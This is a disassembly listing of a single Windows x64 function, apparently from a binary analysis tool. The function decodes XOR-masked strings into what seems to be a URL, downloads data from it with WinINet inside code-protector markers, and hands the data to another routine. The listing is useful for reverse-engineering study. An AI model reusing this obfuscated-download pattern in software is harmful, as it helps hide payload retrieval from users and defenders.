Function at 0x1400017d0
Capabilities:
Create http request
Read data from internet
Receive data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
mov eax, 0x11c0
call fcn.140003ba0
sub rsp, rax
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rbp + 0x1160], rax
call qword [sym.imp.SecureEngineSDK64.dll_Ordinal_161]
movabs rax, 0x881a0ba87acaca9f
lea rcx, [rbp + 0x30]
mov qword [rbp], rax
xor esi, esi
mov rax, qword [rbp]
movabs rbx, 0x884a0bfc7a9ecad7
mov qword [rbp + 0x30], rax
movabs rdi, 0x550e8bb54f6df9cc
movabs rax, 0x55798bda4f29f9ec
mov dword [rsp + 0x20], esi
mov qword [rbp], rax
lea edx, [rsi + 1]
mov rax, qword [rbp]
movabs r14, 0x51b2af829a85fff9
mov qword [rbp + 0x38], rax
movabs r15, 0x9a8b28db6670b32e
movabs rax, 0x51d3afed9ae9ff97
xor r9d, r9d
mov qword [rbp], rax
xor r8d, r8d
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0x9a8b28db6670b34a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x30]
vmovdqu ymmword [rbp + 0x30], ymm1
vzeroupper
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r12, rax
test rax, rax
jne 0x140001911
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movabs rax, 0x883a0b887aeacabf
movabs rcx, 0x769f6e1d52b42354
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0x55218b9a4f57f9bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0x51c6aff19ae4ff89
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0x9ae528b26612b34b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0x4b3abb0733ac7695
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0xda355340fe20854f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x8edcb0077a056602
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0x247192068c9ec551
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
movabs rax, 0x56cf326490512a71
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
movabs rax, 0x4b57bb6833cf76bb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0xda425321fe528560
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0x8ebeb07e7a31662d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0x242392478cacc502
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0x56cf326490512a3f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
vmovdqu ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x60], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x100]
vmovdqa ymmword [rbp + 0x80], ymm1
mov qword [rbp + 0x128], rax
vmovdqa xmm2, xmmword [rbp + 0x120]
lea rdx, [rbp + 0x60]
vxorps xmm2, xmm2, xmmword [rbp + 0xa0]
xor r9d, r9d
mov qword [rsp + 0x28], rsi
xor r8d, r8d
vmovdqa xmmword [rbp + 0xa0], xmm2
mov rcx, r12
mov dword [rsp + 0x20], 0x80000000
vzeroupper
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov r15, rax
test rax, rax
jne 0x140001b46
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea r9, [rbp + 0xc0]
mov r8d, 0x1000
lea rdx, [rbp + 0x160]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
lea r14, [0x1400070b8]
test eax, eax
je 0x140001c09
mov eax, dword [rbp + 0xc0]
test eax, eax
je 0x140001c09
mov rdx, qword [0x1400070d0]
mov ebx, eax
mov rcx, qword [0x1400070c8]
mov rax, rdx
sub rax, rcx
cmp rbx, rax
ja 0x140001bd0
cmp rdx, 0xf
lea rax, [rcx + rbx]
mov rdi, r14
mov qword [0x1400070c8], rax
cmova rdi, qword [0x1400070b8]
lea rdx, [rbp + 0x160]
add rdi, rcx
mov r8d, ebx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], sil
jmp 0x140001be4
lea r9, [rbp + 0x160]
mov qword [rsp + 0x20], rbx
mov rdx, rbx
call fcn.140002930
lea r9, [rbp + 0xc0]
mov r8d, 0x1000
lea rdx, [rbp + 0x160]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001b72
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp qword [0x1400070d0], 0xf
movabs rbx, 0x7fffffffffffffff
mov rdi, qword [0x1400070c8]
xorps xmm0, xmm0
cmova r14, qword [0x1400070b8]
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x20], rsi
movups xmmword [rbp + 8], xmm0
cmp rdi, rbx
ja 0x140001d3d
mov qword [rbp + 0x20], 0xf
cmp rdi, 0xf
ja 0x140001c73
mov qword [rbp + 0x18], rdi
movups xmm0, xmmword [r14]
movups xmmword [rbp + 8], xmm0
jmp 0x140001cfe
mov rax, rdi
or rax, 0xf
cmp rax, rbx
jbe 0x140001ca8
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140002d70
test rax, rax
je 0x140001ccf
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001ce3
mov ecx, 0x16
mov rbx, rax
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001cd6
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001d43
jmp 0x140001c8d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140001ce3
call fcn.140002d70
mov rsi, rax
lea r8, [rdi + 1]
mov qword [rbp + 8], rsi
mov rdx, r14
mov qword [rbp + 0x18], rdi
mov rcx, rsi
mov qword [rbp + 0x20], rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 8]
call fcn.1400012a0
call qword [sym.imp.SecureEngineSDK64.dll_Ordinal_561]
mov rcx, qword [rbp + 0x1160]
xor rcx, rsp
call fcn.140002d50
lea r11, [rsp + 0x11c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.1400011c0
int3
call fcn.140001120
int3